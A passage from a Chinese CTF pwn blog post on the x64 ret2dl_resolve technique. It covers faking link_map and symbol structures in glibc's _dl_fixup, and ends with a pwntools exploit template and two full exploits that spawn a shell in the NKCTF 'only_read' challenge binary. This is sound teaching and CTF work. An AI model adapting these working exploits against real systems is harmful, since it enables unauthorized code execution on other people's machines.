    现在我们也可以控制 const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32] 指向可控区域。

  3. 创建fake_r_info字段,我们需要确保它以 0x7 结尾

    通过校验: assert ((reloc->r_info & 0xffffffff) == 0x7);

  4. fake_DYNSYM 部分,我们创建一个fake_Elf64_Sym结构,fake_st_other字段设置为 0x00。

    通过校验: if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

  5. 在相同的Elf64_Sym结构中,我们创建了一个大fake_st_name 字段。

    可以控制 strtab + sym->st_name指向可控区域。

  6. fake_STRTAB 部分中,我们编写了一个以空字符结尾的字符串,例如 system\x00

    如果我们计算正确, dl_fixup()将解析符号,我们将get_shell

对于x64

如果bss映射在0x60XXXX,则会出现崩溃

64位程序构造的数据一般都是在bss段,如0x601000-0x602000,导致其相对于.dynsym的地址0x400000-0x401000很大,使得reloc->r_info也很大,最后使

得访问ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;时程序访存出错,导致程序崩溃。

如果要按照上面的流程,要使l->l_info[VERSYMIDX (DT_VERSYM)] != NULL不成立来避免崩溃,但是这样做的前提是泄露,而如果能泄露,则不需要

ret2dl_reslove手法,其他的方法或许更简单

改变思路,使if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0),sym->st_other != 0,从而绕过上面的check3检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{

//获取符号表地址
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取字符串表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取函数对应的重定位表结构地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

//获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

DL_FIXUP_VALUE_TYPE value;

//判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */


if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
...
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

...

// 最后把value写入相应的GOT表条目rel_addr中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

之前是通过伪造reloc_arg

现在转变为伪造link_map–>l_addr以及Elf64_Sym –> st_value

  • 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
  • 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system

伪造st_value

Elf64_Sym结构体

1
2
3
4
5
6
7
8
9
10
typedef struct 
{
Elf64_Word st_name; /* Symbol name (string tbl index) */ p32
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */ p16
Elf64_Addr st_value; /* Symbol value */ p64
Elf64_Xword st_size; /* Symbol size */ p64
} Elf64_Sym;
//大小:24字节

st_value_addr == Sym_addr + 0x8

所以,设置got表地址-0x8处为Sym_addr,则设置value为got表上的值

此时,st_orther不为0,可以绕过check

link_map结构体(简略版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> ptype l

//link_map结构体
type = struct link_map {
Elf64_Addr l_addr;

char *l_name;

Elf64_Dyn *l_ld;

struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;

Lmid_t l_ns;

struct libname_list *l_libname;

⭐Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息

...
size_t l_tls_firstbyte_offset;

ptrdiff_t l_tls_offset;

size_t l_tls_modid;

size_t l_tls_dtor_count;

Elf64_Addr l_relro_addr;

size_t l_relro_size;

unsigned long long l_serial;

struct auditstate l_audit[];
} *
  1. 主要目的:控制l_addr为已解析函数与想要执行的目标函数的偏移值

    但是,伪造的link_map要合规,通过_dl_fixup的检测,所以需要进一步的伪造

  2. _dl_fixup的check

    1
    2
    3
    4
    5
    //check1: assert ((reloc->r_info & 0xffffffff) == 0x7);
    //效果: 检查reloc->r_info是否是有效的JUMP_SLOT
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    //check2: if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

    满足1:reloc->r_info == 0x7 ,在对应处伪造即可

    满足2:sym->st_other & 0x03 != 0 ,当st_value伪造成功时即可

  3. _dl_fixup的正常使用

    1
    2
    3
    4
    5
    6
    7
    8
      //获取符号表地址
    const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    //获取字符串表地址
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //获取函数对应的重定位表结构地址
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

    //重点`l_info[DT_SYMTAB]`,`l_info[DT_STRTAB]`,`l_info[DT_JMPREL]`

    此时情况:保证l->l_addr是我们想要的值,但又没法泄露libc

    • 需要控制符号表symtab以及reloc->r_info,为了控制,需要伪造DT_SYMTABDT_JMPREL

    • 需要伪造strtab指向可控地址,为了控制,需要伪造DT_STRTAB

      pwndbg动态调试查看三个指针的位置

      • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
      • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
      • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
    • 需要伪造Elf64_Sym结构体,Elf64_Rela结构体,且DT_JMPREL指向Elf64_Dyn,所以也要伪造

    • 还需要伪造reloc_offset==0

模板

在No Relro的情况下,可以直接改写.dynamic的DT_STRTAB,不考虑,碰到再说

题目: Partial RELRO,No-pie

根据利用思路2,搓模板

1
2
3
4
5
6
7
#include <unistd.h>

void main(void)
{
char buff[20];
read(0, buff, 0x90);
}

思考:

在仅有一次read机会时,可以使用的东西有哪些;

  • Gadget:pop;ret + leave_ret + 函数got地址

  • 地址:bss段地址,fake_linkmap_addr

  • 动态链接:Dynsym,Jmprel,Strtab

该如何控制

  1. sym->st_value等于某个got上已经解析了的函数的那一表项
  2. l->l_addr设置为目标与已解析函数的偏移值
  3. 伪造位于link_map+0x68的DT_STRTAB指针,使strtab为可读的地址
  4. 伪造位于link_map+0x70的DT_SYMTAB指针
  5. 伪造位于link_map+0xf8的DT_JMPREL指针
  6. 之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体
  7. 为了方便,在构造的过程中一般将reloc_arg作为0来进行构造

在伪造link_map前,先伪造好三个重定位表及对应地址

伪造.dynamic里的重定位表项

fake_dyn_JMPREL = p64(0) + p64(fake_rela_addr)

伪造重定位表

fake_rela = p64(r_offset) + p64(0x7) + p64(0)

伪造符号表

fake_dyn_SYM = p32(0) + p32(0xffffffff) + p64(st_value-0x8) + p64(0)

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: UTF-8 -*-
#gadge1: pop;ret
pop_rdi = 0x401683
pop_rsi = 0x401681 #pop rsi ; pop r15 ; ret
read_addr = 0x4013C4
leave_ret = 0x00000000004013c2 #此处不用

#gadget2:.dynamic
read_got = elf.got['read']
#.plt:0000000000401026 F2 FF 25 E3 2F 00 00 bnd jmp cs:qword_404010
plt_load = 0x0000000000401026

#gadget3: fake_link_map
bss = 0x404060
link_map_addr = bss + 0x100
l_addr = libc.sym['system'] - libc.sym['read'] #目的地址-已解析地址
r_offset = link_map_addr - l_addr

def Fake_Link_map(link_map_addr, l_addr, st_value):
#fake_pointer_addr
fake_dyn_STR_addr = p64(link_map_addr)
fake_dyn_JMPREL_addr = p64(link_map_addr+0x8)
fake_rela_addr = link_map_addr+0x18
fake_dyn_SYM_addr = p64(link_map_addr+0x30)

#fake_structure
fake_dyn_JMPREL = p64(0) + p64(fake_rela_addr)
fake_rela = p64(r_offset) + p64(0x7) + p64(0)
fake_dyn_SYM = p32(0) + p32(0xffffffff) + p64(st_value-0x8) + p64(0)

#fake_link_map
link_map = p64(l_addr&(2**64-1))
link_map += fake_dyn_JMPREL # 0x8
link_map += fake_rela # 0x18
link_map += fake_dyn_SYM # 0x30
link_map += b"\x00"*0x20 # 0x40
link_map += fake_dyn_STR_addr # STRTAB link_map_addr +0x68
link_map += fake_dyn_SYM_addr # SYMTAB link_map_addr +0x70
link_map += b"/bin/sh\x00"
link_map += b'\x00' * 0x78
link_map += fake_dyn_JMPREL_addr # JMPREL link_map_addr +0xf8

return link_map

#payload1:栈溢出-->向目的地址写入fake_link_map && 栈迁移
payload = b'a'*0x38
payload += p64(pop_rsi) + p64(link_map_addr) + p64(0)
payload += p64(pop_rdi) + p64(0)
payload += p64(read_plt) #read1: read in bss -> fake_link_map
payload += p64(read_addr) #read2: ret2dl_reslove
sl(payload)

#payload2:fake_link_map
fake_link_map = Fake_Link_map(link_map_addr, l_addr, read_got)
pause()
sl(fake_link_map)

#payload3:ret2dl_reslove, pop_rdi: '/bin/sh' + plt_load + link_map_addr
#ret2dl_reslove
ROP = b'a' * 0x38
ROP += p64(pop_rdi) + p64(link_map_addr + 0x78) #'/bin/sh'
ROP += p64(plt_load) + p64(link_map_addr) + p64(0) #plt->got->read_got
pause()
sl(ROP)

例题:NKCTF-only_read

有一条更方便的rop链,同时学习ret2dl_reslove

分析

保护

1
2
3
4
5
6
7
chen@chen:~/桌面/match/NK/only_read$ checksec ./pwn
[*] '/home/chen/桌面/match/NK/only_read/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO //可以改got表
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) //没有随机地址

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [rsp+0h] [rbp-80h] BYREF
char s[64]; // [rsp+40h] [rbp-40h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);

memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "Welcome to NKCTF!") )
return 0;

memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "tell you a secret:") )
return 0;

memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( strcmp(s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9") )
return 0;

memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( !strcmp(s1, "can you find me?") )
next(); //有个栈溢出
return 0;
}

ssize_t next() //仅仅一个溢出
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

return read(0, buf, 0x200uLL);
}

base_decode(s, s1)

输入s,输出s1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall base_decode(__int64 a1, __int64 a2)
{
int v2; // eax
int v3; // eax
int v4; // eax
unsigned __int8 s; // [rsp+13h] [rbp-Dh] BYREF
unsigned __int8 v7; // [rsp+14h] [rbp-Ch]
unsigned __int8 v8; // [rsp+15h] [rbp-Bh]
unsigned __int8 v9; // [rsp+16h] [rbp-Ah]
unsigned __int8 i; // [rsp+17h] [rbp-9h]
unsigned int v11; // [rsp+18h] [rbp-8h]
int v12; // [rsp+1Ch] [rbp-4h]

v12 = 0;
v11 = 0;
while ( *(_BYTE *)(v12 + a1) )
{
memset(&s, 255, 4uLL);
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + a1) )
s = i;
}
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 1LL + a1) )
v7 = i;
}
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 2LL + a1) )
v8 = i;
}
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 3LL + a1) )
v9 = i;
}
v2 = v11++;
*(_BYTE *)(v2 + a2) = (v7 >> 4) & 3 | (4 * s);
if ( *(_BYTE *)(v12 + 2LL + a1) == 61 )
break;
v3 = v11++;
*(_BYTE *)(v3 + a2) = (v8 >> 2) & 0xF | (16 * v7);
if ( *(_BYTE *)(v12 + 3LL + a1) == 61 )
break;
v4 = v11++;
*(_BYTE *)(v4 + a2) = v9 & 0x3F | (v8 << 6);
v12 += 4;
}
return v11;
}

思路

四段base64校验,之后一个栈溢出

Toka:有可以直接利用的ROP链

题目Partial RELRO且NO PIE,可以直接通过修改got表地址的低五位,定位到one_gadget

  1. 利用csu2的gadget2控制寄存器rbx为read_got到one_gadget的偏移,rbp为read_got+0x3d

    pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret

  2. 错位获取gadget,通过rbp定位read_got,设置为one_gadget地址

    1
    2
    $ ROPgadget --binary ./pwn | grep 'add'
    0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
  3. 调用read函数

套ret2dl_resolve模板,这个模板构造很繁琐,涉及动态链接的相关东西,学习一下

exp1-easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
banary = "./pwn"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ----------------------------
base_1 = "V2VsY29tZSB0byBOS0NURiE="
base_2 = "dGVsbCB5b3UgYSBzZWNyZXQ6"
base_3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
base_4 = "Y2FuIHlvdSBmaW5kIG1lPw=="

s(base_1)
sleep(0.1)
s(base_2)
sleep(0.1)
s(base_3)
sleep(0.1)
s(base_4)
sleep(0.1)
#------------------------ ----------------------------
"""
# .text:000000000040167A pop rbx
# .text:000000000040167B pop rbp
# .text:000000000040167C pop r12
# .text:000000000040167E pop r13
# .text:0000000000401680 pop r14
# .text:0000000000401682 pop r15
# .text:0000000000401684 ret
"""
pop_rbx_p5 = 0x40167A #csu_gadget2

change_read = 0x000000000040117c #add [rbp - 0x3d], ebx; nop; ret

read_got = 0x404028 #read.got

"""
0x7f7885fa6afe <execvpe+638>: mov rdx,r12 #rdx=0
0x7f7885fa6b01 <execvpe+641>: mov rsi,r15 #rsi=0
0x7f7885fa6b04 <execvpe+644>: lea rdi,[rip+0xd0ab2] #rdi="/bin/sh"
0x7f7885fa6b0b <execvpe+651>: call 0x7f7885fa6170 <execve>
"""
offset = 0xFFFFFFFFFFFD5B3E

call_read = 0x40146E
debug()

#read_got: 0x00007f7885fd0fc0
#After add: 0x00007f7885fa6afe --> execvpe+638


payload = b"a"*48 + p64(read_got+0x3d) #rbp->read_got+0x3d
payload += p64(pop_rbx_p5) + p64(offset) + p64(read_got+0x3d) + p64(0)*4
payload += p64(change_read) #set [rbp - 0x3d] to execvpe+638
payload += p64(call_read)

sl(payload)

pi()

exp2-ret2dl_reslove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding: UTF-8 -*-
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64')

libc = ELF('./libc-2.31.so')
banary = "./pwn"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ----------------------------
base_1 = "V2VsY29tZSB0byBOS0NURiE="
base_2 = "dGVsbCB5b3UgYSBzZWNyZXQ6"
base_3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
base_4 = "Y2FuIHlvdSBmaW5kIG1lPw=="

s(base_1)
sleep(0.1)
s(base_2)
sleep(0.1)
s(base_3)
sleep(0.1)
s(base_4)
sleep(0.1)

#------------------------ ret2dl_resolve ----------------------------
read_plt = elf.plt['read']
read_got = elf.got['read']


read_addr = 0x4013C4
pop_rdi = 0x401683
pop_rsi = 0x401681 #pop rsi ; pop r15 ; ret

'''
.plt:0000000000401026 F2 FF 25 E3 2F 00 00 bnd jmp cs:qword_404010
.plt:0000000000401026
.plt:0000000000401026 sub_401020 endp
.plt:0000000000401026
'''
plt_load = 0x0000000000401026

bss = 0x404060
link_map_addr = bss + 0x100
l_addr = libc.sym['system'] - libc.sym['read']
r_offset = link_map_addr - l_addr

def Fake_Link_map(link_map_addr, l_addr, st_value):
#fake_pointer_addr
fake_dyn_STR_addr = p64(link_map_addr)
fake_dyn_JMPREL_addr = p64(link_map_addr+0x8)
fake_rela_addr = link_map_addr+0x18
fake_dyn_SYM_addr = p64(link_map_addr+0x30)

#fake_structure
fake_dyn_JMPREL = p64(0) + p64(fake_rela_addr)
fake_rela = p64(r_offset) + p64(0x7) + p64(0)
fake_dyn_SYM = p32(0) + p32(0xffffffff) + p64(st_value-0x8) + p64(0)


#fake_link_map
link_map = p64(l_addr&(2**64-1))
link_map += fake_dyn_JMPREL # 0x8
link_map += fake_rela # 0x18
link_map += fake_dyn_SYM # 0x30
link_map += b"\x00"*0x20 # 0x40
link_map += fake_dyn_STR_addr # STRTAB link_map_addr +0x68
link_map += fake_dyn_SYM_addr # SYMTAB link_map_addr +0x70
link_map += b"/bin/sh\x00"
link_map += b'\x00' * 0x78
link_map += fake_dyn_JMPREL_addr # JMPREL link_map_addr +0xf8

return link_map

debug()
payload = b'a'*0x38
payload += p64(pop_rsi) + p64(link_map_addr) + p64(0)
payload += p64(pop_rdi) + p64(0)
payload += p64(read_plt) #read1: read_fake_link_map
payload += p64(read_addr) #read2: ret2dl_reslove
sl(payload)


fake_link_map = Fake_Link_map(link_map_addr, l_addr, read_got)
pause()
sl(fake_link_map)

#ret2dl_reslove
ROP = b'a' * 0x38
ROP += p64(pop_rdi) + p64(link_map_addr + 0x78) + p64(plt_load) #plt->got->read_got
ROP += p64(link_map_addr) + p64(0)
pause()
sl(ROP)


pi()


ret2dl_reslove
http://csc8.github.io/2023/03/31/ret2dl_reslove/
作者
Csc8
发布于
2023年3月31日
许可协议